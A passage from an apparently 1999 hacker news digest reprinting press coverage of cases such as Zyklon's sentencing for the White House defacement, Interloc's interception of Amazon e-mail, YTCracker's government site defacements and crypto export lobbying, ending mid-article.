Attrition Adds Features ~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by cult_hero Attrition.org has done an overhaul on their defaced mirror archive. On top of significant updates to existing mirrors, they have created several new targeted mail lists to help notify people of defaced sites. 'defaced-gm' caters to individuals that wish to stay abreast of the latest Government and Military defacements. A second new list 'defaced-alpha' is designed for law enforcement and security admins that wish to be notified immediately, via alpha-numeric pager. Attrition Mirror http://www.attrition.org/mirror/attrition/ List Information http://www.attrition.org/security/lists.html Note: this info has been included in our mailing lists section - Ed @HWA 10.0 Zyklon Sentenced to 15 Months ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by altomo and William Knowles On Friday Zyklon (Eric Burns) plead guilty in U.S. District Court in Alexandria, Va., to a single felony count of intentionally breaking into one computer, but admitted involvement in numerous other electronic attacks. He has been sentenced to 15 months in federal prison and ordered to pay $36,240 in restitution. In addition he will be banned from using a computer for three years after his release. Zyklon has denied being directly involved with the defacement of the White House web page earlier this year. He said he knew who was behind the defacement but that he would not reveal their identities. Prosecutors claim that Zyklon caused $40,000 damage to government and business web sites. Zyklon is expected to report to prison in four to six weeks. HNN Mirror of White House Defacement http://www.hackernews.com/archive/1999/whitehouse/gh.html Herald Net http://www.heraldnet.com/Stories/99/11/20/11676045.htm The Straits Times http://www.straitstimes.asia1.com/cyb/cyb1_1122.html Associated Press - Via Yahoo http://dailynews.yahoo.com/h/ap/19991122/tc/white_house_hacker_3.html Herald; Shoreline hacker gets 15-month sentence Washington Post and Herald staff A 19-year-old from Shoreline who broke into computer systems around the Washington, D.C., area was sentenced Friday to 15 months in prison for infiltrating and altering World Wide Web sites used by Vice President Al Gore, NATO and the U.S. Information Agency. Eric Burns of Shoreline used the name "Zyklon" and often left love notes for a high school classmate named Crystal on the sites that he attacked. One of his assaults closed down the USIA site for eight days, court documents say. Burns also compromised computer systems operated by the Toronto Star newspaper and the Chinese government. He often left behind a signature love letter to Crystal and the phrase "Hack by Zyklon." Fixing the damage he caused cost between $40,000 and $120,000. The hackings occurred during a two-year period, ending earlier this year. After an FBI investigation, a federal grand jury indicted Burns in May and charged him with three counts of computer intrusion. Burns originally faced a possible 15-year prison sentence. But prosecutors agreed to drop two of the charges in exchange for a guilty plea to one count and an agreement to pay $36,240 in restitution. After the plea, Burns faced a maximum five years in prison and a $250,000 fine. At the hearing Friday morning in federal court in Alexandria, Va., Burns apologized for his activities. "I disgust myself," he told U.S. District Judge James Cacheris. "I am very ashamed of what I have done." Cacheris said that under the sentencing guidelines, Burns' computer crime was particularly serious because his actions involved use of a "special skill," but he gave him credit for "acceptance of responsibility" because Burns pleaded guilty. -=- Straits Times; NOV 22 1999 Teen jailed for hacking into US govt sites WASHINGTON -- A 19-year-old was jailed for 15 months for breaking into several highly-protected United States Internet sites, including that of Vice-President Al Gore, and declaring his love for a classmate on them. For two years, Eric Burns broke into the websites of the US Information Agency (USIA), Nato and other governmental agencies, the Washington Post reported on Saturday. One amorous declaration he posted on the sites was: "Crystal, I love you." But USIA did not like his romantic overtures and had to shut down its server for eight days, costing the agency tens of thousands of dollars in repairs. Burns, of Washington, agreed to pay US$36,240 (S$60,520) to his victims. Burns, described by his attorney Ralph Hurvitz as a loner, told a US federal judge on Friday that he had no computer training, but he created a hacking program with computer books he bought in stores. -- AFP -=- Assoc. Press; Monday November 22 9:54 PM ET White House Hacker Faces Prison By TED BRIDIS Associated Press Writer WASHINGTON (AP) - At age 19, hacker Eric Burns has already wandered the underpinnings of the Web where few had gone before, including an illicit visit inside computers at the White House in May. ``I didn't really think it was too much of a big deal,'' said Burns - hacker name Zyklon - who admitted responsibility for some of the most sensational attacks on corporate and government Internet sites. He was sentenced Friday in U.S. District Court in Alexandria, Va., to 15 months in prison and three years of supervised probation and ordered to pay restitution of $36,240. And under a judge's order, he won't be allowed to touch a computer for three years after his release. Burns pleaded guilty Sept. 7 to a single felony count of intentionally hacking into one computer, but he admitted involvement in the spate of electronic assaults. Burns was initially indicted May 13 on charges of breaking into computers for the U.S. Information Agency and two businesses. That was four days after the White House Internet site - at www.whitehouse.gov - was electronically assaulted. Initially, Burns said he wasn't directly involved in that White House attack in which the altered site included the phrase, ``following peeps get some shouts'' - hacker slang for ``hello'' - and listed a dozen names, including Zyklon. Zyklon is the name of a poison gas used by Nazis against Jews. But federal prosecutors said Burns boasted of the White House attack online even before it happened, and Burns admitted at his sentencing Friday he was among three people who altered the site briefly to show a black Web page with the names of hacker organizations, along with messages, ``Your box was own3d,'' and, ``Stop all the war.'' He said Monday in a telephone interview from his home in Shoreline, Wash., that he will refuse to identify his two partners to the Secret Service, partly because he believes the criminal penalties for hackers are too steep. His punishment didn't fit his crime, he insisted. ``I'd rather not have what happened to me happen to anyone else,'' Burns said. ``I don't really agree with the kind of sentencing range there is for the crime.'' The seriousness of the trouble facing Burns didn't sink in, he admitted, even after FBI agents raided his home and took his computer. ``I just gave them a confession,'' Burns said. ``I didn't think it was too big a deal.'' Prosecutors indicated otherwise. U.S. Attorney Helen Fahey said Burns attacked computers on the Internet controlling Web sites for NATO, a U.S. embassy and consulates and even Vice President Al Gore. The USIA Web site was shut down for eight days after Burns' attack. All told, the attacks cost the government and businesses more than $40,000, prosecutors said. When the White House site was vandalized, experts ``had to shut down the Web server, disconnect both the public and private computer networks from the Internet for two days and reconfigure the computer system,'' Fahey said in a statement. Burns expects to report to federal prison in four to six weeks, which he hopes will let him spend Thanksgiving and the holidays with his family. With time off for good behavior, his lawyer told him he might spend as few as 13 months behind bars. Although his sentence says he won't be allowed to use a computer during three years of supervised probation when he's released, he's already planning to ask his probation officer whether he'll be allowed to use one for work. ``I really don't know'' how the arrest and time in prison will affect his future, Burns said. ``Hopefully, it won't impact it too bad.'' @HWA 11.0 Email Stolen From Amazon.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by lowearthorbital A company known as Interloc, a rare used book dealer based in Greenfield MA, had been charged with 10 counts of unlawfully intercepting e-mail messages and one count of unauthorized possession of passwords with intent to defraud. Prosecutors said that between January and June of 1998, Interloc used an altered electronic mail program to automatically intercept and store thousands e-mail messages from Amazon.com that were intended for book dealers. Interloc has settled out of court and has agreed to pay a $250,000 fine. (It is hard to tell from these articles exactly how this happened but it looks like Interloc owned the ISP from which it stole the emails. Glad the reporters cleared that up.) Boston Globe http://www.boston.com/dailyglobe2/326/nation/email.htm Nando Times http://www.nandotimes.com/technology/story/body/0,1634,500060697-500100305-500418716-0,00.html Wired http://www.wired.com/news/reuters/0,1349,32704,00.html Boston Globe; Internet merchant accused of intercepting rival's e-mail By Steven Wilmsen, Globe Staff, 11/23/99 An Internet bookseller based in Greenfield has been accused of using a computer program to intercept thousands of e-mail messages illegally from Amazon.com, possibly to steal corporate strategies from its giant on-line rival, federal prosecutors said yesterday. The case is one of the first times federal authorities have charged that a company read e-mail between another firm and its customers in an apparent attempt to gain an advantage, prosecutors said. They say the case highlights an imminent danger in the fiercely combative world of Internet commerce: on-line entrepreneurs who may be tempted to gather information surreptitiously on their competitors. ``It's been extremely common to see hackers who get information just because they can get it,'' said Jeanne M. Kempthorne, the assistant US attorney in Boston prosecuting the case. ``What's new about this is to see it in the corporate setting.'' In a filing yesterday in US District Court in Boston, prosecutors said that in January 1998, Greenfield-based Interloc altered an electronic mail program so that it automatically intercepted and stored e-mail messages from Amazon.com that were intended for book dealers. Interloc's new corporate owner yesterday agreed to settle the case, in which Interloc was charged with 10 counts of unlawfully intercepting e-mail messages and one count of unauthorized possession of passwords with intent to defraud. The owner also agreed to pay a $250,000 fine. ``From the company's standpoint, this is old news,'' said Ethan Schulman, a lawyer for Alibris, an Internet bookseller based in Emeryville, Calif., which acquired Interloc last year. ``This was an inherited problem, and it's a chapter they'd like to close.'' Schulman also said ``appropriate disciplinary action'' has been taken against Interloc employees involved in the e-mail interceptions. He declined to elaborate. According to prosecutors, between January and June of 1998, Interloc intercepted thousands of Amazon.com e-mail messages and stored them in a computer system. In one two-week period alone, 3,067 e-mail messages were intercepted, prosecutors said. Prosecutors said they have not determined exactly how Interloc used the messages once they were sent to a database but that it appeared the firm wanted to learn about Amazon.com's dealings with booksellers who were also Interloc customers. Interloc specialized in rare and used books. It also operated a small Internet provider service, similar to larger services like America Online or Netscape, called Valinet. Interloc's customers, many of them booksellers, had e-mail accounts at Valinet through which they would receive messages from Ama zon.com. Interloc programmed a computer to sort out the e-mail from Amazon.com, prosecutors said. In addition, Interloc employees broke into other Internet service providers and stole customer passwords, they said. ``It certainly appears they did this for competitive reasons, but the law doesn't care whether you're getting corporate secrets or grocery lists,'' Kempthorne said. ``The only thing that matters in terms of the law is that they intercepted it.'' Schulman said that while Alibris has acknowledged that Interloc improperly intercepted e-mail, there is no evidence that it did so to spy on Amazon.com. He said the e-mail was intercepted in the course of trying to determine the source of a computer glitch that was interferring with customer orders. ``No confidential customer information was obtained or misused,'' he said. But he conceded that ``there were some people doing things they shouldn't have been doing.'' While the court filings didn't name specific Interloc employees or say how many were involved, prosecutors said yesterday that the Interloc employees who programmed the e-mail interceptions acted with the knowledge of company officials. Prosecutors also said some believed they had done nothing wrong. ``There is a computer culture out there that says, `If you can do it, God bless you,' no matter what the law is,'' Kempthorne said. ``They think of this as some sort of lawless frontier. Just because they're brilliant doesn't mean they don't have to abide by the rules the rest of us live by.'' Indeed, observers said that corporate espionage on the information superhighway was almost inevitable, in part because the early days of the Internet were dominated by many individuals who thought of hacking as an art form, not as a crime. That culture presents a threat to the rapidly expanding number of companies that want to do business on line but also need to protect proprietary information. ``The Internet is absolutely huge,'' said Pete Tasker, executive director of security and information operations of Medford-based Mitre Corp. ``That means there are lots of ways to listen in if you really want to. This is the first time I've heard of a case like this, but it's what we all worry about.'' -=- Nando Times; Online bookseller settles case of intercepted Amazon e-mail Copyright © 1999 Nando Media Copyright © 1999 Associated Press BOSTON (November 23, 1999 8:17 a.m. EST http://www.nandotimes.com) - An Internet bookseller has agreed to pay $250,000 to settle federal charges its coporate predecessor snagged e-mails sent by giant rival Amazon.com and possessed unauthorized password files. Alibris, based in Emeryville, Calif., was charged in a criminal information Monday with 10 counts of unlawful interception of e-mail messages and one count of unauthorized possession of passwords with intent to defraud. The information focuses on the company's corporate predecessor - the now defunct Interloc Inc., an online bookseller that also provided Internet service in the Greenfield area through a business called Valinet. Alibris, which faced a maximum penalty of $250,000 on each count, agreed Monday to settle the case for $250,000. "We're a different company in a different business now, and it was just time to clean this stuff up," said Martin Manley, Alibris' president. The information alleges that between January and June 1998, Alibris/Interloc intercepted e-mail messages from Amazon.com to Alibris/Interloc clients that used Interloc e-mail addresses. Many of the Interloc clients were themselves booksellers. Prosecutors say the interceptions were designed, in part, to gain competitive advantage for Alibris' online book-selling business. In January of last year, U.S. Attorney Donald K. Stern said, Interloc altered its e-mail service so that it automatically intercepted and stored e-mail addressed from Amazon.com to Interloc's book dealer customers. Thousands of e-mail communications were intercepted, Stern said, but no confidential customer financial information was obtained or misused. Prosecutors also allege Interloc kept unauthorized copies of the confidential password files and customer lists of its competitor Internet service providers. Ethan Schulman, a lawyer for Alibris, said that while Alibris is acknowledging that Interloc improperly intercepted e-mail, the intent was not to spy on Amazon.com but to trace the source of a computer glitch. -=- Wired; Alibris Pleads Guilty to Snooping Reuters 2:00 p.m. 22.Nov.1999 PST Alibris, an online rare bookseller, pleaded guilty to intercepting emails between its clients and online retail giant Amazon.com, a federal prosecutor in Boston said Monday. Alibris agreed to pay US$250,000 to settle criminal claims by US Attorney Donald Stern that it intercepted email messages to its clients from Amazon.com. Alibris, of Emeryville, California, said it no longer offers clients email service, but its corporate predecessor, Interloc, did. Stern's office contends that Interloc intercepted the messages between its customers and Amazon.com in part to gain commercial advantage by gathering information on its customers' purchases and obtaining market data. Alibris admits to the wrongdoing but said it gained no commercial advantage because it already knew what its customers were buying. Rather, according to president and CEO Martin Manley, the company broke the law when it tried to rectify complaints from some clients who said they weren't receiving email messages from Amazon.com. In tracking such messages to determine the problem, the company unlawfully captured the messages, although Manley said it did not read them. "The conclusions reached by the government in this, with respect to motive, are not necessarily ones we share," Manley told Reuters. Assistant US Attorney Jeanne Kempthorne, who is prosecuting the case, said there is no evidence anyone suffered financial harm as a result of the conduct, which occurred in 1998 and involved nearly 4,000 electronic messages. But, she added, "I think the violation of privacy is a material harm." Copyright 1999 Reuters Limited. @HWA 12.0 Industry Pressures White House on Crypto Exports ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Simple Nomad A large number of CEOs and other business leaders from numerous U.S. software and technical companies have signed a letter sent to White House Chief of Staff John Podesta imploring him to stick to the promises made last September regarding relaxing the export of encryption technology. TechNet, the lobbying group, is worried that the White House may alter their original plans and include rigid definitions that would limit the effectiveness of the entire initiative. Computer Currents http://www.currents.net/newstoday/99/11/22/news2.html Daily News Crypto Fears By Robert MacMillan, Newsbytes. November 22, 1999 As insidious fears that the administration's proposed encryption policy changes won't be as tech-friendly as the White House said they would be, members of high-tech lobbying firms are joining the letter writing campaign to urge the administration to stay on the straight-and-narrow. The Technology Network (TechNet) lobbying group joined what until now has been a mainly congressional letter-writing campaign to make sure that the administration sticks to the essence of the strong encryption control policies that it announced in September. The TechNet letter, signed by 23 members, and sent to White House Chief of Staff John Podesta, expresses concern over recent reports that the encryption regulations, scheduled for a Dec. 15 release, "may include restrictive definitions of 'government' and 'retail' which may significantly limit the effectiveness of the regulations." The letter was signed by, among others" 3Com Corp. Chief Executive Officer (CEO) Eric Benhamou; Scientific Learning Corp. CEO Sheryle Bolton; America Online Inc. CEO Steve Case; Autoweb.com CEO Dean DeBiase; Texas Instruments CEO Thomas Engibous; Kleiner Perkins Caufield & Byers partner Floyd Kvamme; Oracle Corp. President and Chief Operating Officer (COO) Ray Lane; Sun Microsystems Inc. CEO Scott McNealy; Marimba Software CEO Kim Polese; Novell Inc. CEO Eric Schmidt; Software and Information Industry Association President Ken Wasch; and former Hewlett-Packard Co. CEO John Young. "We urge you to ensure that the new regulations are drafted in a manner that provides real improvements in the ability of American companies to export encryption products," said the TechNet letter. "We are concerned that the new regulations may fall short of realizing the promise of the announcement by failing to level the playing field for US manufacturers in the global encryption marketplace." "Our nation's restrictive export policies...have allowed foreign encryption manufacturers to make significant gains, threatening America's leadership position in this important technology sector," the letter also stated. "It is conceivable that one day the United States will be forced to rely on foreign-made encryption to protect our own critical infrastructure. We urge you to ensure that the new regulations are drafted in a manner that provides real improvements in the ability of American companies to export encryption products." One of the reports surfacing about draft versions of the regulations is that a more stringent review would apply to products sold via the Internet as opposed to stores. TechNet said that "retail" products should not be defined by how they are distributed, because this could create a "competitive anomaly where two products that provide similar end-user functionality would be treated differently because one is delivered in a box while another is delivered as a service over the Net." TechNet also worried that the regulations might define "government" as not only agencies and official government bodies, but as companies that include partial government ownership. The group also said that open source code should not require individual licenses from the Commerce Department because it "would have a dramatically inhibiting impact on these new movements which are providing a source of innovation and competition in the marketplace." Another TechNet concern is that Commerce Department reviews should be limited to 30 days. Commerce Department officials in the Bureau of Export Administration did not have any immediate comment on the letters, which also have come from House Republican leadership and Reps. Robert Goodlatte, R-Va., and Zoe Lofgren, D-Va., but BXA Chief William Reinsch noted last week that the regulations are in a draft form and changes still are in the works. Reported by Newsbytes.com, http://www.newsbytes.com . @HWA 13.0 Telenor Nextel Servers Compromised ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by rootxs Telenor Nextel, Norway's largest telecommunication provider, had one of their servers compromised. The system contained information on the company's 500 business partners. The electronic intruders could read and alter information regarding customers. They gained access to the information of 20 of thier customers. No altering of database information was reported. The accounts are now closed, and Telenor has control over the situation. (We apologize for the choppy information but our Norwegian isn't what it used to be.) TV 2 hovedside" - Norweigen http://www2.tv2.no/nyheter/tv2/owa/web_nyheter.vis_nyhet?xid=363081&kategori=1 @HWA 14.0 FBI Wants Dollars for Information Security ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Simple Nomad The FBI is hoping that the Information Sharing Initiative currently stuck in Congress will provide it with much needed funding to boost its information security. They are claiming that they are relying on outdated computers and networks. If funded the initiative will give investigators quick access to numerous databases and computer files now scattered on systems across the agency. federal Computer Week http://www.fcw.com/pubs/fcw/1999/1122/fcw-polfbi-11-22-99.html NOVEMBER 22, 1999 FBI bets on new IT initiative for security With no new security funds expected for fiscal 2000, the agency hopes its new project will address assurance issues BY L. SCOTT TILLETT (scott_tillett@fcw.com) Anticipating no new money for information security, the FBI is hoping a major computer project currently hung up in Congress will provide the new technology needed to make its information more secure, a top agency official said last week. Mark Tanner, information resources manager at the FBI, said he expected no "enhancement and maybe some reduction" for information assurance in its fiscal 2000 budget, which Congress has yet to pass. "We need more [money], but doesn't everybody?" he said. But many of the agency's concerns stem from its reliance on outdated computers and networks. The Information Sharing Initiative, waiting for funding from Congress, would address that problem, Tanner said. ISI was designed to give investigators quick access to the many databases and computer files now scattered on systems across the bureau, improving the speed and quality of their work. The program would equip FBI employees with up-to-date desktop computers, software and networking technology. Tanner, speaking Thursday at a meeting of the Industry Advisory Council, said an up-to-date computer infrastructure was an essential piece to assuring the quality and security of information. "I think we need to maintain a modern infrastructure," he said. "We need to have a well-stocked toolbox." The quality of some components of the FBI toolbox is "awful," said Tanner in an interview after his presentation. He said the agency still has many older, slower 486 PCs and that some of the agency's routers and network equipment is as old as 10 years. FBI officials have requested $430 million for ISI over five years. In the latest version of the bill to fund the FBI, however, Congress, concerned about the FBI's mismanagement of other major information technology projects, has set aside only $20 million for ISI in fiscal 2000, plus an additional $60 million the agency did not use in fiscal 1999. Still, technology may not be an adequate defense, said James Litchko, a Kensington, Md.-based information security consultant. "You can put a lot of technology in place, but if you don't test it, there could be something in there that could cause you problems," he said. "You can wall yourself, but somebody's going to dig a hole." But agency and industry officials say the FBI is not alone in feeling the budget squeeze when it comes to information security, given the tight spending caps in place since 1997. "The funding [for information security] isn't there to do anything significant and probably isn't going to be there for another one or two years," said Donald Hagerling, information systems security program manager at the Treasury Department, speaking at an event last month sponsored by the Bethesda, Md., chapter of Armed Forces Communications and Electronics Association International. "I'm not getting a sense from any of the agencies that I call on that there is program money set for the acquisition of specifics within [information] assurance and protection," said Charles Viator Jr., sales manager for Protegrity Inc., a software company that sells information security products. Tanner said the FBI spends about $200 million annually on IT, but he could not say how much the agency spends on security. @HWA 15.0 JavaScript and ActiveX May Be Banned by DOD ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Space Rogue The Department of Defense is reportedly considering banning ActiveX and JavaScript from military computers citing security concerns. (I have it turned off, and life continues. At least they are doing something.) ZD Net http://www.zdnet.com/zdnn/stories/news/0,4586,2398182,00.html?chkpt=zdnntop (Sorry couldn't cut and paste this article for some reason.... - Ed) @HWA 16.0 Is It Worth It Followup ~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Space Rogue Yesterdays Buffer Overflow article "Is It Worth It" has prompted so many questions that the author will be writing a follow up article. So if you have questions be sure to send them in to the author. We also have a response from the other side. An active web page defacer, YTCracker, has told us why he does it. Look for both articles next week. @HWA 17.0 YTCracker Takes Out Gov Sites ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by c0nd0r Claiming a lack of security as the reason YTCracker has defaced the sites of NASA's Goddard Flight Center international page, the Bureau of Land Management's National Training Center, and the Defense Contracts Audit Agency. He claims the admins of the sites where warned beforehand of the vulnerabilities but chose not to patch the holes. (On Monday HNN will publish an exclusive article by YT Cracker about the reasons for his defacements.) HNN Cracked Pages Archive http://www.hackernews.com/archive/crackarch.html Wired http://www.wired.com/news/politics/0,1283,32729,00.html Cracker Launches Attack on NASA by Leander Kahney 4:00 p.m. 23.Nov.1999 PST The Web pages of three US Government agencies, including NASA's Goddard Flight Center, have been defaced by a cracker who is worried that US government security systems are vulnerable to cyberattack. The front pages of the sites for NASA's Goddard Flight Center international page, the Bureau of Land Management's National Training Center, and the Defense Contracts Audit Agency, on Wednesday were replaced with a page showing a cartoon of a hooded hacker wearing a peace symbol necklace and a message warning of Web site security holes. "To the US government and military -- I have warned you about these security flaws," wrote ytcracker on the Flight Center's front page. "Please secure our military systems to protect us from cyber attack. Identifying himself as a 17-year-old high school student from Colorado Springs, Colorado, ytcracker (for whitey-cracker) said he defaced the sites as a warning to the US government. "I'm not about being malicious," he said. "A lot of other countries are planning cyberwarfare on the US government. If other countries have malicious intent, how can we as US citizens feel safe? I did this to let them know they really have to prepare for these things." Ytcracker said he chose the sites after scanning numerous government agencies for those most vulnerable. The three sites were penetrated using a well-known trick that should have been known to the administrators and plugged, ytcracker said. Furthermore, he said, the administrators had been recently notified of the security hole but had ignored the warnings. "It seems the only way to get their attention is to show them," he said. The DCAA was cracked early Wednesday, followed by BLM and then NASA early Wednesday afternoon, ytcracker said. Speaking only minutes after cracking the NASA site, ytcracker declined to give his real name but said he has done very little to cover his tracks. As well as being able to follow the sites' server logs, which track visitors to the site, a link on the cracked NASA page leads more-or-less straight to his home page. "If they want to find me, it won't be very hard," he said. "I don't want them to misinterpret my actions. I didn't do it to offend them or show them up. It's basically to alert them. All I can do is pray to God and hope they do." NASA spokeswoman Janet Ruff said the organization took security "very seriously... when things like this happen they require a fast response." Ruff said NASA was continuing to investigate the breach, but that she could not comment further. However, B.K. DeLong, curator of Attrition.org's Web site defacement archive, which has mirrored the cracks, said the US government doesn't take the defacement of its Web sites kindly. DeLong noted that another cracker, known as Zyklon, was sentenced to 15 months in jail and a $36,000 fine last week for defacing the White House's Web page. DeLong said the cracks were significant security breaches. "Any government, military, or high-profile corporation is a significant hack," he said. "It shows once again that they're lacking in security." DeLong said the crack exploited the remote administration capabilities of Windows NT systems and isn't particularly difficult to perform. Before hanging up, ytcracker said: "I'm very much a patriot. I promote the same democratic ideals as the government endorses. I believe strongly in peace and harmony." @HWA 18.0 UK Bans Key Escrow ~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by gladius The "Electronic Communications Act 2000" was announced on the 19th of November. The bill now explicitly rules out key-escrow, and gives electronic digital signatures the same weight under law as signed printed papers. Electronic Communications Act 2000 http://www.parliament.the-stationery-office.co.uk/pa/cm199900/cmbills/004/2000004.htm @HWA 19.0 White Papers on Zero Knowledge ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Weld Pond The Chief Scientist for Zero Knowledge Systems, Ian Goldberg, has released beta versions of his doctoral thesis. The title of his thesis is "A Pseudonymous Communications Infrastructure for the Internet" which describes how Freedom by Zero Knowledge works. Ian's Research Page http://www.isaac.cs.berkeley.edu/~iang/ Zero Knowledge Systems http://www.zeroknowledge.com/clickthrough/click.asp?partner_id=542 @HWA 20.0 ParseTV Back On the Air ~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by ewollensky ParseTV, the weekly hack/phreak streaming video show, will be back on the air today (Wednesday). ParseTV went dark several weeks ago after the show's host Shamrock and the producer parted company. The show returns today with a new host and several guests. The show is scheduled to feature Dark Lord (Bruce Fancher), who will discuss the resurrection of MindVox, Izaac Falken, current co-host of Off The Hook, Sangfroid, who will give out information on Krystalia's untimely passing, and Cancer Omega, who will talk about the fine work being done by the Attrition Staff. The web site for ParseTV is still in a little bit of a mess and the show may not be available for streaming live at 4pm EST but it will definitely by archived for your viewing pleasure. ParseTV http://www.parsetv.com @HWA 21.0 English Conservatives Blame Hackers ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by pr0file Attempting to divert attention away from its 'foreign donation' scandle the Conservative Party in England has called in Scotland Yard to determine if its bank accounts have been electronically manipulated. The party feels that details about its bank account recently published in the Times could have only come from 'hackers' inside the Royal Bank of Scotland. (Must have been those evil Hackers, couldn't have been an employee or someone fishing your bank statements out of the trash. There is no evidence that says otherwise so it must have been the evil hackers.) BBC http://news.bbc.co.uk/hi/english/uk_politics/newsid_534000/534138.stm Late Update: 141524NOV99EST A much more realistic article has been publish regarding this story. BBC http://news.bbc.co.uk/hi/english/uk_politics/newsid_534000/534752.stm BBC(1); Tories in 'foreign donation' storm Michael Ashcroft is the party's largest donor The Conservative Party has called in the police to investigate the alleged hacking of its private bank accounts amid revelations about massive donations from the party's treasurer, Michael Ashcroft. The party denied wrongdoing over the Ł1m-a-year fund, channelled through the Belize Bank Trust. It argued details in The Times proved that its Royal Bank of Scotland accounts had been seen. Tory Party Chairman Michael Ancram claimed a "dirty tricks" campaign existed against Mr Ashcroft and the Conservative Party. Although the existence of the donations had already been widely reported, Mr Ancram said that the new details about how the money had been transferred must have been obtained illegally. "The information published by The Times could only have been obtained from our confidential bank statements," he said. "I am pretty clear in my own mind that can only have been accessed illegally." The Times says the donations would be in breach of proposed new rules on the overseas funding of parties and flout a 1997 pledge from leader William Hague to outlaw foreign donations. The newspaper - which was already being sued for libel by Mr Ashcroft - has also denied any wrongdoing. Editor Peter Stothard said: "This information came in the normal course of our inquiries. We did nothing illegal to acquire it." Data Protection Registrar Elizabeth France said she had not yet received a complaint asking her to investigate. "From what I have heard so far it is very difficult to establish whether there has been any offence at all or even any evidence that would give a lead to an investigation," she said. But the Conservatives, already battered by the Lord Archer controversy, say all Mr Ashcroft's donations were made in full accordance with party guidelines. Mr Ashcroft is a billionaire who holds dual UK and Belize citizenship, who lives for many months a year as in Central America. A spokesman for the treasurer on Wednesday said he was registered in Maidenhead as an overseas voter. The Conservatives say he is entitled to give money to his party, even though the donations are made via a Belize bank account. Mr Ancram said the real story was the "politically-motivated conspiracy" which led to the allegations. "This appears to be but the latest of a series of dirty tricks being perpetrated by those who will stop at nothing in order to keep this government in power," he said in an initial statement. "There is a climate of fear being created in Britain today. Dissidents are being silenced. Opponents are being smeared. "Now private bank accounts are hacked into in order to discredit and destroy anyone who stands in the way of this government's lust for power." The Times editor described the Conservative claim as an "extraordinary outburst" to distract from the newspaper's story. Labour challenged the Tories to provide evidence before insinuating any involvement in the episode by the party. Cabinet Office minister Ian McCartney said: "The Tory's A-Team - Archer, Aitken and Ashcroft - show the true face of today's Tories. One's in the doghouse, one's in the jailhouse and one's in the counting house." The latest storm follows a long-running row about party funding in general and particularly donations from Mr Ashcroft, the Conservative's biggest single donor. Lord Neill's Committee on Standards in Public Life earlier this year recommended a ban on all overseas funding of political parties. Legislation outlawing foreign trust donations is expected to be approved by Parliament within the coming year. In July, Mr Ashcroft issued a libel writ against The Times, over a series of allegations about his business interests which were also raised in the House of Commons. The move came after one Labour MP used parliamentary privilege - which allows MPs to make statements without fear of libel proceedings - to detail allegations apparently from US agencies' files. BBC(2); Inside the Tory 'hacking' claims Net crime fears prompted bank to postpone e-banking Stories about the alleged "hacking" into the Conservatives bank account bring to mind images of a lone young male - probably a social misfit - sitting in his basement, huddled over his computer. The reality is probably somewhat more anodyne. Think instead of a disgruntled Labour-supporting bank employee with a mean eye for a story and you probably have something closer to the truth. Ross Anderson, professor of computing at Cambridge University, told BBC News Online: "Twenty years ago, if you wanted to find out the details of a bank account you would have to get the ledger in the bank branch - which would probably mean bribing or sleeping with the person who had the keys to the safe. "When the banks computerised it meant that every one of its 70,000 or so tellers could see every customer's account. "Insecurity of data increases with the number of people who have access to it." Mathew Bevan, a computer security consultant and former computer hacker, backed Prof Anderson's theory. "The information could have come from a call centre or from within the bank. All banks are pretty much insecure," he told BBC News Online. "It takes a lot of talent to hack into a bank's computer and I don't think a hacker could be bothered without any financial reward. "And aside from the embarrassment, it's not going to stop the Tories winning the next election." The Royal Bank of Scotland - where the Conservatives have their account - said it has "complete confidence" in all its security systems. Dr Chris Thornton, Sussex University computing science lecturer, said: "If someone has been hacked, they usually keep it secret. "Anyone who makes it public usually has an ulterior motive." The Conservatives say the information could not have come from their London headquarters. But security consultant Matunda Nyanchama of accounting and consulting firm Ernst & Young, said: "About 80% of risks associated with an IT environment come from within. "But what we find is that the clients tend to - I think, partly, because of the press - look at these hackers out there on the internet." Hackers have indeed proved to be a threat to large organisations. Earlier this year internet hackers forced high street bank NatWest to postpone ambitious plans to allow customers access to their accounts from their home computers after it was revealed how online accounts could easily be attacked. Charles Herbert, NatWest online services manager, said its internet service had been put back pending further trials of security measures, which could include the issuing of smart cards to customers. The problems have emerged amid concern in the computer industry that the hackers may be exposing new security flaws as fast as the big software companies, such as Bill Gates's Microsoft, can repair them. The hackers are also switching tactics. Instead of attacking banks directly - as they did in one of the few publicised cases when $400,000 (Ł240,000) was stolen from Citibank in America - security experts believe they are targeting people's home computers and their personal accounts. By leaving viruses scattered across the internet, hackers have discovered they can seize control of home computers and steal people's legal identities. These can be used to attack bank accounts, lift phone records, electronic shopping accounts and private business information. @HWA 22.0 Canadian Student Arrested for Downloading Software ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Evil Wench A student at the Elk Island public school division east of Edmonton in Alberta Canada has been caught "trying to download hacking software". This article does not say if he was successful in his attempt or what he planned to do with the software or even what the software was. The student was charged by the RCMP with unauthorized use of a computer. (You seldom see ignorance levels this high.) Edmonton Sun - Via Lexis-Nexis http://web.lexis-nexis.com/more/cahners-chicago/11407/5224743/4 SECTION: NEWS, Pg. 8 LENGTH: 187 words HEADLINE: STUDENT HACKER CHARGED WITH HI-TECH VANDALISM BODY: An alleged hacker accused of downloading code-breaking software onto a school computer is getting more than detention - he's been charged by the cops. Early in November, a teacher in the Elk Island public school division east of Edmonton became suspicious that a student working 